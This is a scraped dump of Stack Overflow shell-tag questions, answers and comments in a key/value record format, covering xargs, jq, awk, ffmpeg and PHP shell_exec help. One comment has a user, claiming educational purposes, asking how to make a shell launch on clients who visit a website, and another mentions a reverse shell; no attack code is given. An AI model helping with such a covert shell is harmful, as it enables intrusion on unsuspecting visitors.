has title: How to disable green indicator on top for camera, mic and location?
tagged with: shell
has comment: http://stackoverflow.com/comment/135964231
downvote count: 0
has comment: http://stackoverflow.com/comment/135962998
score: 1
answer count: 1
favorite count: 0

http://stackoverflow.com/comment/136080581
has text: BTW, `xargs -I{} sh -c '...{}...'` is a source of massive security problems and should generally never be run by anyone. Normal expansions in shell follow different rules for expansion results that prevent those results from being parsed as syntax; when you have xargs just blindly substitute data into code, that data then can be used for injection attacks. The safe way to use `xargs sh` or `xargs bash` is to have xargs add arguments to the shell's argv, not substitute into code.
comment on: http://stackoverflow.com/q/77190844
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135849278
has text: What's preventing you from writing `Fav*.jpg` instead of `fav*.jpg`?
score: 0
comment on: http://stackoverflow.com/q/77060550
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135962953
comment on: http://stackoverflow.com/a/77121277
type: Comment
has text: Thanks for confirming and getting back to me. I understand it's more valuable to use regular variables than my attempt. However my question is still unanswered and I'm bafflIed. I modified my SHELL instruction to `SHELL [ "/bin/bash", "-c" ]` and the result was the same.
type: AnswerComment
score: 0

port
type: Tag
tags question: http://stackoverflow.com/q/77218203
tag name: port

http://stackoverflow.com/comment/135890527
score: 0
type: Comment
comment on: http://stackoverflow.com/q/77083852
has text: Does this answer your question? [Hexadecimal To Decimal in Shell Script](https://stackoverflow.com/questions/13280131/hexadecimal-to-decimal-in-shell-script)
type: QuestionComment

rundeck
tag name: rundeck
tags question: http://stackoverflow.com/q/77226745
type: Tag

http://stackoverflow.com/comment/136087746
score: 0
type: Comment
has text: I had completely missed the changes since 4.18.1 like @pmf has noted. I just wasn't providing "eval" in the command. I just updated yq to latest version and it started working.
comment on: http://stackoverflow.com/q/77192433
type: QuestionComment

http://stackoverflow.com/a/77079666
has comment: http://stackoverflow.com/comment/135884680
answers question: http://stackoverflow.com/q/77079649
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/135893571
type: Answer
has body: There's no standard. It's based on its authors' opinions which are documented on its website.
score: 1
has comment: http://stackoverflow.com/comment/135884656

http://stackoverflow.com/q/77233116
has comment: http://stackoverflow.com/comment/136157446
accepted answer: http://stackoverflow.com/a/77234131
score: 0
type: Question
tagged with: shell
has answer: http://stackoverflow.com/a/77234131
tagged with: git
has title: Not stable on using GitHub CLI and Git with GitHub Actions
has comment: http://stackoverflow.com/comment/136158862
has body: I have a shell script written to check if a branch exists in repositories based on a keyword. Snippets of the script: for repo_name in ${repository[@]}; do gh repo clone $org_name/$repo_name >/dev/null 2>&1 cd $repo_name if grep -w $keyword)" ; then echo "Branch does exist in $org_name/$repo_name" else echo "Branch does not exist in $org_name/$repo_name" fi cd .. rm -rf $repo_name done I written a GitHub Actions workflow to continuously execute this script for other purpose. Now I used a branch named ABC to test this script. It works fine in my local, printed the result that the branch does exist in the repository. However, it doesn't work on one of my repository running the GitHub Actions workflow. It just showed me that it does not exist. The funny thing is i tried to create a new repository, setting up same script and workflow, it can show the result correctly like my local. For example, there are branches named ABC in two repository R1 and R2 respectively. I executed the same script in local, and another two repository R3 and R4 stored the workflow. The result showed as below, local: Branch ABC does exist in R1 and R2 R3 workflow: Branch ABC does exist in R1 but not in R2 R4 workflow: Branch ABC does exist in R1 and R2 R3 and R4 used same private key and GitHub Apps to authenticate to the repository during workflow execution. Can anyone tell me how is it possible? Is it something related to my shell script?
answer count: 1
tagged with: github-actions
type: AnsweredQuestion

http://stackoverflow.com/q/77161387
type: Question
downvote count: 1
has title: How to loop directories in gitlab-ci.yml?
linked to: http://stackoverflow.com/q/73472888
tagged with: gitlab
score: 0
tagged with: gitlab-ci
tagged with: shell
tagged with: bash
type: UnansweredQuestion
has body: I found an answer here: How to loop directories in gitlab-ci but the answer results in a syntax error. I have a structure like this: /src /app1 /app2 /app3 I want to iterate through each of those apps and execute a script. How can I do this in gitlab-ci.yml/bash shell? So far I can get a list of the folders but cannot figure out how to for loop them. This is what works: - cd ${CI_PROJECT_DIR}/src/ - folders=($(ls -d */)) - echo ${folders[@]} This is what doesn't: - for folder in ${folders[@]} do echo &quot;${folder}&quot; done The above for loop throws this error: syntax error: unexpected end of file
upvote count: 1
favorite count: 0
has answer: http://stackoverflow.com/a/77161429
has answer: http://stackoverflow.com/a/77161473
answer count: 2

http://stackoverflow.com/comment/136073599
has text: Also see [How to declare 2D array in bash](https://stackoverflow.com/q/16487258/4154375).
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77186551
score: 0

http://stackoverflow.com/comment/136129391
score: 0
comment on: http://stackoverflow.com/q/77217599
type: QuestionComment
type: Comment
has text: Hi, I update the questions and specify the issue am having at the moment, basically will be how to validate if am getting result and if not how to past a string that says record not found or something similar.

http://stackoverflow.com/comment/136132632
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77199964
type: Comment
has text: @shelter, it works when i give 777 permissions from terminal, the upper level directories are ${basedir} and data which were given 777 permissions as shown in the build.xml.

http://stackoverflow.com/comment/136075048
comment on: http://stackoverflow.com/q/77148106
has text: https://stackoverflow.com/questions/8389033/implementation-of-multiple-pipes-in-c this question was the one that helped me the most.
type: QuestionComment
score: 0
type: Comment

http://stackoverflow.com/comment/136061146
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77170263
has text: When I store this `$(( $(stat -c %s test.csv)/1024/1024 ))` in a variable I'm getting a error. syntax error: operand expected (error token is "/1024/1024 ")

http://stackoverflow.com/comment/135930892
comment on: http://stackoverflow.com/a/77107151
has text: BTW, `du -b` historically was 512-byte **blocks**, not bytes, and [POSIX doesn't specify its meaning](https://pubs.opengroup.org/onlinepubs/9699919799/utilities/du.html) so an implementation can do either of the two (or just not support any `-b` flag at all, which is f/e what MacOS does). If you want to write code that only works on GNU, might be better to use `--bytes` so it fails outright rather than returning wrong results on an OS where `-b` has a different meaning.
score: 2
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/136134682
type: AnswerComment
has text: This doesn't work. It just prints out everything on the same line. And why are there square brackets added?
score: 0
comment on: http://stackoverflow.com/a/77211884
type: Comment

http://stackoverflow.com/comment/136029932
type: QuestionComment
type: Comment
has text: I've tried your code(LC_ALL=C cat -v script.sh), it printed exactly what was in the file script without any unexpected outputs. I included also the other line in beginning of the file and retried but nothing changed and i got the same error
score: 0
comment on: http://stackoverflow.com/q/77162327

http://stackoverflow.com/comment/135937235
type: Comment
type: AnswerComment
score: 0
has text: You can write log to `/tmp` too if you want.
comment on: http://stackoverflow.com/a/77110538

http://stackoverflow.com/comment/136126563
has text: @jqurious, ...well, having _quoted_ the strings on the right-hand side above they aren't treated as regexes but as literal exact content. The comment above makes its point properly, but `re='^B.*?c'; "abcABC123ABCabc" =~ $re ` is a more pedantically-correct comparison.
comment on: http://stackoverflow.com/q/77216118
type: QuestionComment
score: 2
type: Comment

http://stackoverflow.com/comment/136093820
score: 0
comment on: http://stackoverflow.com/q/77198302
has text: Beyond that -- I'd suggest having your run script check whether `edu/dar/algo/Experiment.class` exists and abort with an explicit error message otherwise.
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/136034306
type: Comment
has text: @Rava, regarding the lack of comments on broken code that uses `for f in $(find ...)`, that is not unusual. Most shell users, including some who have been using it for decades, are not aware of the common pitfalls. Some who are aware of them are happy to use, or post as answers, broken code that happens to work for a restricted set of files. Bad code is so pervasive that it is not possible for people who know and care about bad code to comment on all of it. A practical way to reduce your exposure to bad code is to use Python instead of shell and the other legacy Unix tools.
comment on: http://stackoverflow.com/q/77161643
score: 1
type: QuestionComment

http://stackoverflow.com/comment/135981773
comment on: http://stackoverflow.com/q/77135598
type: QuestionComment
score: 6
type: Comment
has text: Perhaps there are whitespaces after the `\\`

http://stackoverflow.com/q/77212721
has comment: http://stackoverflow.com/comment/136119857
has answer: http://stackoverflow.com/a/77212776
type: Question
has title: Using find to pass multiple files to awk and redirect result into one output file
tagged with: shell
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/136218947
tagged with: xargs
tagged with: find
upvote count: 2
has comment: http://stackoverflow.com/comment/136120850
score: 1
has comment: http://stackoverflow.com/comment/136119864
answer count: 1
favorite count: 0
downvote count: 1
has comment: http://stackoverflow.com/comment/136120927
has body: I have an awk script that processes files passed in. It runs on one input file and redirects into one output file... awk -f solar.awk ./PerformanceData_2023-08-02_02-02-17/tmp_YdayData.txt &gt; output.txt ... however, passing multiple files does not work. For example passing in two files like so: awk -f solar.awk ./PerformanceData_2023-08-02_02-02-17/tmp_YdayData.txt ./PerformanceData_2023-08-01_02-02-17/tmp_YdayData.txt ... only processes the first file (not the second): No idea why. However, what I'd like to ultimately achieve is finding files in sub directories and run the awk command against it, collecting the results in one output file. find . -type f -name 'tmp_YdayData.txt' -print0 | xargs -0 -t awk -f solar.awk &gt;&gt; output.txt While this finds the relevant files (if I run the command portion before the pipe) the full command line, however, it only processes the first file. find . -type f -name 'tmp_YdayData.txt' -print0 | xargs -0 -t awk -f /home/maxg/Workspaces/awk/solar/solar.awk awk -f /home/maxg/Workspaces/awk/solar/solar.awk ./PerformanceData_2023-08-01_02-02-17/tmp_YdayData.txt ./PerformanceData_2023-08-02_02-02-17/tmp_YdayData.txt ./PerformanceData_2023-08-03_02-02-17/tmp_YdayData.txt ./PerformanceData_2023-08-04_02-02-18/tmp_YdayData.txt ./PerformanceData_2023-08-05_02-02-37/tmp_YdayData.txt ./PerformanceData_2023-08-06_02-02-18/tmp_YdayData.txt 01/08/2023, 66.03, 25.59, 36.25, 12.81, 0.41, 17.30, -0.10, 22.2, 100.0, 10:55 What am I doing wrong? I have not provided the awk script, as reducing its content to print $0 generates the same result. I have since posted the solution, as my command line arguments where incorrect.
tagged with: awk

http://stackoverflow.com/comment/136106858
type: Comment
score: 0
type: QuestionComment
has text: or https://man7.org/linux/man-pages/man7/inotify.7.html if you place them in the same dir (i.e. ~/bin).
comment on: http://stackoverflow.com/q/77203420

http://stackoverflow.com/a/77084360
type: AcceptedAnswer
has body: Your Ruby code passes arguments on the shell script's command line, but the shell script is looking for arguments on its standard input stream. Because in an arithmetic context the shell treats an empty string like a 0, you get a result of always-even. Consider reading from stdin only when you haven't been provided input on the command line: #!/usr/bin/env bash if [[ $1 ]]; then x=$1 else read -p 'Enter a number: ' x fi if ((x % 2 == 0)); then echo "Even" else echo "Odd" fi
score: 1
upvote count: 1
answers question: http://stackoverflow.com/q/77084269
type: Answer
accepted answer of: http://stackoverflow.com/q/77084269
downvote count: 0

http://stackoverflow.com/comment/136091665
type: Comment
type: AnswerComment
score: 0
has text: @tjm3772 I've updated it and removed the mentioning of `cd ..`. Is this clearer?
comment on: http://stackoverflow.com/a/77196763

http://stackoverflow.com/comment/136105633
comment on: http://stackoverflow.com/a/77204784
score: 1
type: Comment
type: AnswerComment
has text: This is very platform-local; it's not just limited to GNU grep, but specifically GNU grep _compiled with the optional libpcre library_ (and there are sound reasons to leave that compile-time option turned off; [it's had security problems in the past](https://cve.mitre.org/cgi-bin/cvekey.cgi?keyword=libpcre), and moreover, [PCRE is slow](https://swtch.com/~rsc/regexp/regexp1.html))

http://stackoverflow.com/comment/136051947
score: 1
type: Comment
type: AnswerComment
has text: In particular, try changing `Chicago` to `New York` to ensure the solution works when the data contains spaces as that's a common point of failure for such scripts.
comment on: http://stackoverflow.com/a/77174021

http://stackoverflow.com/comment/135964357
comment on: http://stackoverflow.com/q/77124990
score: 0
type: QuestionComment
type: Comment
has text: i add '>>' at the bottom but not work

http://stackoverflow.com/comment/136080107
score: 0
type: Comment
has text: Thanks for the answer. I ended up using your suggestion because it allowed me to continue the use of a sub-routine which is needed for my completed script. I have been able to complete my original script which I did not explain for the purposes of this question and problem. I also appreciated chrslg's additional options which I have added to my permanent notes.
comment on: http://stackoverflow.com/a/77171622
type: AnswerComment

http://stackoverflow.com/comment/135922896
type: QuestionComment
type: Comment
score: 0
has text: I am not sure UTC is a timezone, as it represents universal time (so, no timezone, obviously). Moreover, why rebuild a scheduler when you already have so many of them out there, and probably have access to cron ?
comment on: http://stackoverflow.com/q/77102508

http://stackoverflow.com/comment/136011421
type: Comment
comment on: http://stackoverflow.com/q/77152224
score: 0
has text: @Barmar - If I use single quotes , will it expand my variable ? I'm already calling the shell script in the double quotes. Please clarify this.
type: QuestionComment

http://stackoverflow.com/comment/135919976
comment on: http://stackoverflow.com/q/77100448
has text: @dognose its educational purposes only :) You know what im looking for. I have to upload it to my website. When the client click the website its gotta be launched for client. I guess thats the correct definition. I dont know how to tell any else. Bind shell maybe ? *Its all in ethic.
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/q/77107010
downvote count: 0
tagged with: bash
has title: How to compare folders size in bash/sh?
type: Question
has body: I am building a simple caching script in bash. Let us assume we have the folders source dest I want to write a if condition and check if the total size of source matches the total size of dest (by total size I mean it includes also the subfolders subfiles recursively everything), then do some action. The script will look something like: sourceSizeInBytes=2; // dont know how to get only total in bytes destSizeInBytes=2; // dont know how to get only total in bytes if [ $sourceSizeInBytes -eq $destSizeInBytes ] then echo "Both folders have equal size. I will do something"; else echo "folders are not of the same size"; fi du -sch gives not just a number but more information. How can I write such a condition in one reliable way ?
accepted answer: http://stackoverflow.com/a/77107151
tagged with: sh
has comment: http://stackoverflow.com/comment/135931304
has answer: http://stackoverflow.com/a/77107151
has comment: http://stackoverflow.com/comment/135930835
tagged with: shell
has comment: http://stackoverflow.com/comment/135937306
has comment: http://stackoverflow.com/comment/135931122
score: 1
has comment: http://stackoverflow.com/comment/135935932
upvote count: 1
answer count: 1
favorite count: 0
type: AnsweredQuestion

http://stackoverflow.com/comment/136126468
comment on: http://stackoverflow.com/q/77216118
score: 0
type: Comment
has text: Got it, tkx! ... My previous (and wrong) understanding was that either `#` or `%` would strip off the shortest match (starting the search from the beginning or end of the string), but not necessarily anchoring the beginning or end of the string. I thought it would pick the match at any part of the string. Thanks for clarify it.
type: QuestionComment

http://stackoverflow.com/comment/135994225
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77142682
has text: Your timestamps include sub-second precision, which the standard date command in most Linux distributions doesn't handle out-of-the-box. However, you can still calculate the difference using some string manipulations and arithmetic.
score: 0

http://stackoverflow.com/comment/135933672
comment on: http://stackoverflow.com/q/77100448
has text: What do you mean by "reverse shell"? Please make it clearer
score: 0
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135993618
has text: Gives me: def xyz true
comment on: http://stackoverflow.com/a/77142355
type: Comment
type: AnswerComment
score: 0

http://stackoverflow.com/comment/136073110
type: Comment
score: 0
has text: it throws the error message that you have mentioned later. is there any way to do it in bash?
comment on: http://stackoverflow.com/q/77186551
type: QuestionComment

http://stackoverflow.com/comment/136127143
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77216491
score: 0
has text: in this case, `${string/b*C/}` stripped away the longest match, and returned `aabc` ... is it possible to somehow, make it strip the shortest match, returning `a123ABCabc`?

http://stackoverflow.com/comment/135979805
score: 0
has text: I don't know Xcode well, but I strongly guess that this is a backup file created by the editor before storing your changes to disk. If you are cooperating with colleagues on the git project, they for sure would hate you if you also commit backup files. If you are the only one working on the project, you can think for yourself whether or not you want it. I personally prefer having my backup files placed in a separate directory tree outside the git repo.
type: QuestionComment
comment on: http://stackoverflow.com/q/77133895
type: Comment

http://stackoverflow.com/comment/136038535
has text: You are right: grep uses FD 0 for input when no explicit filenames have been provided (or when it's given an explicit filename of `-`); however, in a context where `<&3` has been run, FD 0 is a copy of FD 3, so they point to the same structure in the kernel -- it's that structure where the location within the file is stored.
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77167271
score: 0

http://stackoverflow.com/comment/136163722
has text: This is because the Groovy interpreter handles the characters correctly, but the shell interpreter in your `sh` step method is attempting to resolve and interpolate the branch as a variable in the `curl` command. You could perhaps use https://www.jenkins.io/doc/pipeline/steps/http_request/ to circumvent this.
comment on: http://stackoverflow.com/q/77234225
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136094551
type: QuestionComment
type: Comment
has text: In doing some more testing, you can take out of the non-POSIX commands, and it will still return the same error. There is something about how the string is being set up that is causing the error. You can make a basic for loop, and it will not work. Copy/pasting directly to the command line does work.
comment on: http://stackoverflow.com/q/77197549
score: 0

http://stackoverflow.com/comment/135991858
has text: I don't know why, but my terminal returns nothing when using this code.
score: 0
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77141212

http://stackoverflow.com/q/77168035
has body: In fish shell, I want to be able to expand a command substitution or variable as multiple arguments to another command, e.g.: Without substitution ls -l -h Should give the same result as: ls $(echo '-l -h') Instead the second one gives an error: ls: invalid option -- ' ' If I instead do: eval ls $(echo '-l -h') It does what I want, it seems. 2 questions then: Is using eval in this way actually going to do what I want consistently? Is there some other way I should be doing this instead? I read this question and answer, which is very similar to mine: Command substitution in fish But the answer is not applicable in my situation. The real world use case I have is following the instructions for gstreamer: https://gstreamer.freedesktop.org/documentation/installing/on-linux.html?gi-language=c# Where it says to build the tutorials with: gcc basic-tutorial-1.c -o basic-tutorial-1 `pkg-config --cflags --libs gstreamer-1.0` Which, of course, does not work in fish (because backticks). But when converted to $() syntax, it errors with: gcc: error: unrecognized command-line option ‘-pthread -I/usr/include/gstreamer-1.0 -I/ .... Because it has interpreted the output of the $() block as a single string -- which makes sense and seems sensible, except that it is blocking this very reasonable (imo) use case, and I'd like to be able to do this comfortably in fish. Thanks!
downvote count: 1
tagged with: substitution
score: -1
linked to: http://stackoverflow.com/q/65762847
accepted answer: http://stackoverflow.com/a/77168110
has comment: http://stackoverflow.com/comment/136039509
answer count: 2
has answer: http://stackoverflow.com/a/77168064
has comment: http://stackoverflow.com/comment/136039478
tagged with: fish
has comment: http://stackoverflow.com/comment/136039554
possible better answer: http://stackoverflow.com/a/77168064
favorite count: 0
upvote count: 0
type: AnsweredQuestion
has title: Fish command substitution for arguments -- eval safe?
has answer: http://stackoverflow.com/a/77168110
has comment: http://stackoverflow.com/comment/136039494
has comment: http://stackoverflow.com/comment/136039604
type: Question
tagged with: shell

http://stackoverflow.com/a/77120927
answers question: http://stackoverflow.com/q/77120045
upvote count: 1
has comment: http://stackoverflow.com/comment/135955539
type: Answer
has body: I think you just need to edit the assignments of START and END times in your script. Check this out: #!/bin/bash input_file="chapters.txt" output_file="chapters.ffmetadata" # Create the FFmetadata chapter file echo ";FFMETADATA1" > "$output_file" previous_seconds=0 while IFS="=" read -r timestamp chapter_name; do # Convert start time to seconds seconds=$(date -u -d "1970-01-01 $timestamp" +"%s") echo "[CHAPTER]" >> "$output_file" echo "TIMEBASE=1/1000" >> "$output_file" echo "START=${previous_seconds}000" >> "$output_file" echo "END=${seconds}000" >> "$output_file" echo "title=$chapter_name" >> "$output_file" # Update previous_seconds for the next iteration previous_seconds=$seconds done < "$input_file" # Calculate the end time for the last chapter (duration of the video) duration=$(ffprobe -v error -show_entries format=duration -of default=noprint_wrappers=1:nokey=1 input_video.mp4) echo "[CHAPTER]" >> "$output_file" echo "TIMEBASE=1/1000" >> "$output_file" echo "START=${previous_seconds}000" >> "$output_file" echo "END=${duration%.*}000" >> "$output_file" echo "title=" >> "$output_file" echo "Chapter file '$output_file' created successfully." # Run FFmpeg to add chapters to the video ffmpeg -i input_video.mp4 -i chapters.ffmetadata -map_metadata 1 -c:v copy -c:a copy -y output_video.mp4 Update Let me change the approach and use the awk command to parse the timestamp and calculate the start and end times in seconds. #!/bin/bash input_file="chapters.txt" output_file="chapters.ffmetadata" # Create the FFmetadata chapter file echo ";FFMETADATA1" > "$output_file" previous_seconds=0 while IFS="=" read -r timestamp chapter_name; do # Parse the timestamp and calculate start and end times in seconds start_seconds=$(echo "$timestamp" | awk -F: '{ print ($1 * 3600) + ($2 * 60) + $3 }') end_seconds=$previous_seconds # Update previous_seconds for the next iteration previous_seconds=$start_seconds echo "[CHAPTER]" >> "$output_file" echo "TIMEBASE=1/1000" >> "$output_file" echo …
downvote count: 1
has comment: http://stackoverflow.com/comment/135956345
has comment: http://stackoverflow.com/comment/135955315
score: 0

http://stackoverflow.com/a/77122945
downvote count: 0
has body: With GNU sed: sed '/^"text11"/,/^}/s/"text5" "0"/"REPLACED TEXT" "1"/' file Only in the area with a line starting (^) with "text11" and the next line starting with } replace "text5" "0" with "REPLACED TEXT" "1". Output: "text1" { "text2" "0" "text3" "0" "text4" "0" "text5" "0" "text6" "0" } "text11" { "text2" "0" "text3" "0" "text4" "0" "REPLACED TEXT" "1" "text6" "0" } "text21" { "text2" "0" "text3" "0" "text4" "0" "text5" "0" "text6" "0" } See: The Stack Overflow Regular Expressions FAQ
score: 1
accepted answer of: http://stackoverflow.com/q/77122868
type: Answer
answers question: http://stackoverflow.com/q/77122868
type: AcceptedAnswer
upvote count: 1

http://stackoverflow.com/comment/135964622
score: 0
has text: I use copy(select index,codice_fiscale,campo1,campo2 from tmp_table) TO STDOUT (DELIMITER '|') >> text.csv; inside .sql file. But not work
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77124990

http://stackoverflow.com/comment/136047746
type: QuestionComment
comment on: http://stackoverflow.com/q/77171720
type: Comment
score: 0
has text: Issue is that I wasn't selecting the container I need to use since my pod is containing 2 !

http://stackoverflow.com/comment/135906965
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77093338
has text: BTW, each Stack Overflow question is supposed to have _only one_ underlying question; otherwise we can get into messy situations where half your question breaks the rules (duplicates prior questions, &c) but the other half doesn't, or where a given person is prepared to answer only one side but not the other, or different answers handle different parts so you can't unambiguously award a best-answer checkbox to one or the other.
type: QuestionComment

http://stackoverflow.com/comment/135882638
score: 1
comment on: http://stackoverflow.com/a/77078449
type: Comment
has text: Under [tag:bash] you may prefer to use a *variable* to store *auto assigned file descriptor* as: `exec {request}<>/dev/tcp/host/2345;echo >&$request ...`
type: AnswerComment

http://stackoverflow.com/a/77225838
has comment: http://stackoverflow.com/comment/136161193
type: Answer
has comment: http://stackoverflow.com/comment/136182029
score: 0
has body: If you have a single node server and program pgrep, this should give you the port number : netstat -Watnlv | awk -v pid=$(pgrep node) '$1 ~ "tcp4" && $6 == "LISTEN" && $9 == pid{sub(".*\\.","",$4);print $4}' Try this : for pid in $(pgrep node); do netstat -Watnlv | awk -v pid=$pid '$1 ~ "tcp4" && $6 == "LISTEN" && $9 == pid{sub(".*\\.","",$4);print "node process " pid " has port " $4}' done Is this one-liner what you expected ? for pid in $(pgrep node); do netstat -Watnlv | awk -v pid=$pid '$1 ~ "tcp4" && $6 == "LISTEN" && $9 == pid{sub(".*\\.","",$4);print "node process " pid " has port " $4}'; done
has comment: http://stackoverflow.com/comment/136169153
has comment: http://stackoverflow.com/comment/136169134
answers question: http://stackoverflow.com/q/77218203

http://stackoverflow.com/q/77060550
score: 0
has body: I have images starting with favorite-foodname.jpg My script should move all images starting with fav but end differently so the script say fav*.jpg But the images i recieved are in uppercase ( Fav.. ), and the script wasn't running correclty Do you have any idea or advice please? The only solution i got is to rename them manually before running the script but i'm sure maybe there is something I missed/forget to do for skipping the sensative case.
linked to: http://stackoverflow.com/q/156916
answer count: 1
type: AnsweredQuestion
upvote count: 1
has answer: http://stackoverflow.com/a/77060621
downvote count: 1
accepted answer: http://stackoverflow.com/a/77060621
tagged with: zsh
type: Question
has comment: http://stackoverflow.com/comment/135849278
has title: Is there anyway to skip the uppercase or lowercase in schell script?
tagged with: macos
tagged with: shell
duplicate of: http://stackoverflow.com/q/156916
favorite count: 0

http://stackoverflow.com/q/77093338
has answer: http://stackoverflow.com/a/77095421
type: Question
answer count: 4
has comment: http://stackoverflow.com/comment/135906948
tagged with: shell
has body: Consider the following file.json where "x" is a known string. Two questions: I want to obtain a list of all the unique values in the child arrays. What I have is jq -r '.x[][] file.json | sort | uniq. Is there a native solution? I want to choose keys "a" and "c" based on the fact that they both have "3" in their respective child arrays. How do I go about that? I can get the child arrays with "3" in them with jq -r '.x[] | select(index("3") >= 0)' file.json but I need access to the parent key. { "x": { "a": [ "2", "3" ], "b": [ "1", "2" ], "c": [ "3", "4" ] } }
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/77131107
has comment: http://stackoverflow.com/comment/135906954
tagged with: jq
has title: jq: Selecting parent keys based on child array contents
has answer: http://stackoverflow.com/a/77093674
score: 0
has answer: http://stackoverflow.com/a/77093425
has comment: http://stackoverflow.com/comment/135906965
tagged with: http://stackoverflow.com/tag/json

http://stackoverflow.com/comment/136049418
comment on: http://stackoverflow.com/q/77171901
score: 0
type: QuestionComment
type: Comment
has text: Does this answer your question? [jq to replace text directly on file (like sed -i)](https://stackoverflow.com/questions/36565295/jq-to-replace-text-directly-on-file-like-sed-i)

http://stackoverflow.com/q/77124990
tagged with: append
score: 0
tagged with: psql
tagged with: shell
has body: I use this command for copy data from table (inside .sql file). copy(select index,codice_fiscale,campo1,campo2 from tmp_table) TO STDOUT (DELIMITER '|'); This command works for print on STDOUT but i must to copy the result in csv file, in append . I use this command for run .sql file psql -h $HOST -d $DB -U $USER -p $PORT -a -q -f $FILESQL; If I use redirection (&gt;&gt;) in shell command, it prints all commands in sqlFile. I would just like the result of copy command. Thanks in advance. append copy command to file
has comment: http://stackoverflow.com/comment/135964534
has comment: http://stackoverflow.com/comment/135964754
has comment: http://stackoverflow.com/comment/135983744
has comment: http://stackoverflow.com/comment/135962807
has answer: http://stackoverflow.com/a/78244087
has title: Postgres - Append copy command to CSV File
answer count: 1
has comment: http://stackoverflow.com/comment/135964357
has comment: http://stackoverflow.com/comment/135965610
has comment: http://stackoverflow.com/comment/135964401
has comment: http://stackoverflow.com/comment/135964622
has comment: http://stackoverflow.com/comment/135964649
type: Question
tagged with: copy
has comment: http://stackoverflow.com/comment/135964693
has comment: http://stackoverflow.com/comment/135964551
type: UnansweredQuestion

http://stackoverflow.com/comment/136080964
type: Comment
type: AnswerComment
has text: Did you do `export -f test`? If you do that, `bash -c test` should work.
comment on: http://stackoverflow.com/a/77190915
score: 1

http://stackoverflow.com/comment/135950982
type: QuestionComment
has text: @pynexj I added the minimal reproducible example
comment on: http://stackoverflow.com/q/77118220
type: Comment
score: 0

http://stackoverflow.com/comment/136156040
has text: Oh, I think I misunderstood. It sounds like you're trying to implement a reverse shell.
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77231881

http://stackoverflow.com/comment/136004358
type: Comment
comment on: http://stackoverflow.com/q/77148106
has text: There are several _weaknesses_ in `ft_command_creator()` that will likely prevent any pipelining from functioning... If you want to figure out pipes, you should get rid of the buggy "parsing" and work with a _hard wired_ array of strings that are command names. Eg: `char *arr[] = { "ls -l", "grep fileX", NULL }` A lot less code to try to understand.
score: 1
type: QuestionComment

http://stackoverflow.com/comment/136049286
comment on: http://stackoverflow.com/q/77173353
score: 0
has text: Hadoop does not provide all these operations hence can't use the same things as bash.
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135889338
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77082545
score: 0
has text: @AlwaysLearning I don't see your lambda handler in your code. Do you have one?

http://stackoverflow.com/a/77161224
answers question: http://stackoverflow.com/q/77161159
upvote count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/136028985
type: Answer
has body: if function_or_program; then # do something fi This checks if function_or_program exits with 0 and if it does, executes the do something block. true and false are functions (and programs) that exit with 0 and 1 respectively. [ is a function (and a program, linked to test) that can be used to test strings and numbers. [[ is a function that is similar to [ but is more robust. So, what you observed is that when using [ and [[ you are testing the strings true and false. All strings that do not have the length 0 are considered true so both true and false will be seen as true. I thought the entire premise of the brackets was to enable additional functionality like && and ||, You can execute multiple programs/functions too: if false || true; then # do something fi ... and combining executing programs/functions with testing strings is also possible: if ( false || true ) && "$foo" == "$bar" ; then # do something fi
score: 2
accepted answer of: http://stackoverflow.com/q/77161159
type: AcceptedAnswer

http://stackoverflow.com/comment/135964551
type: Comment
comment on: http://stackoverflow.com/q/77124990
has text: Yes, and then show how you redirected the psql command. After all, you tagged the question _shell_, so at the very least show your shell command.
score: 0
type: QuestionComment

http://stackoverflow.com/comment/136172293
type: Comment
score: 0
comment on: http://stackoverflow.com/q/77234225
type: QuestionComment
has text: Hi @Matthew Schuchard , I see, that's why it keeps on rejecting the special character. Maybe I'll keep in touch as soon as I have applied this plugin on my issue. Thank you for your answer, I really appreciate it and it helps a lot :)

http://stackoverflow.com/a/77193269
answers question: http://stackoverflow.com/q/77191993
score: 1
has body: 1) Check the security setup Can shell_exec() be run or not? If it can't then it's because you are having some security settings enabled. The problem is that shell_exec() and exec() can be disabled for security reasons. This can be changed by editing PHP's disable_functions option. INI settings are usually stored in specific *.ini files under the /etc/php/* directories. So you have to look for some settings in there. You’ll find several INI settings, depending on how PHP is run. To find them : find /etc/php/ -iname 'php.ini' This could output something like this : /etc/php/8.2/fpm/php.ini /etc/php/8.2/apache2/php.ini /etc/php/8.2/cli/php.ini /etc/php/8.2/cgi/php.ini To see the settings and which INI file is loaded, add this at the beginning of your script and call it via your web server : phpinfo(); die(); You'll see all the loaded INI files and what is set on the disable_functions option. /etc/php/8.2/cli/php.ini is probably setting disable_functions to an empty string, meaning that in command line there's no restriction. But for the other INI files, this option might contain a list of functions that you won't be able to run. Edit this option if needed. But be always aware that giving your server the ability to run some binaries can lead to some security issues if your app is taking some user input to build the command. Apache configuration can also set some PHP settings, just for a specific Virtual Host. So have a look at them if you can't find something in the php.ini files. Depending on your PHP setup, you may also have to check safe_mode and suhosin.executor.* if you have the Suhosin hardening module installed. 2) Verify that you can run shell_exec There are several ways to run a binary. shell_exec is equivalent to the built-in backtick operator. So if shell_exec is listed in the disable_functions option then you won't be able to use the backtick operator. If you get an error 500 then it's typically because you cannot run shell_exec. If you check /var/log/nginx/…
has comment: http://stackoverflow.com/comment/136090798
downvote count: 0
upvote count: 1
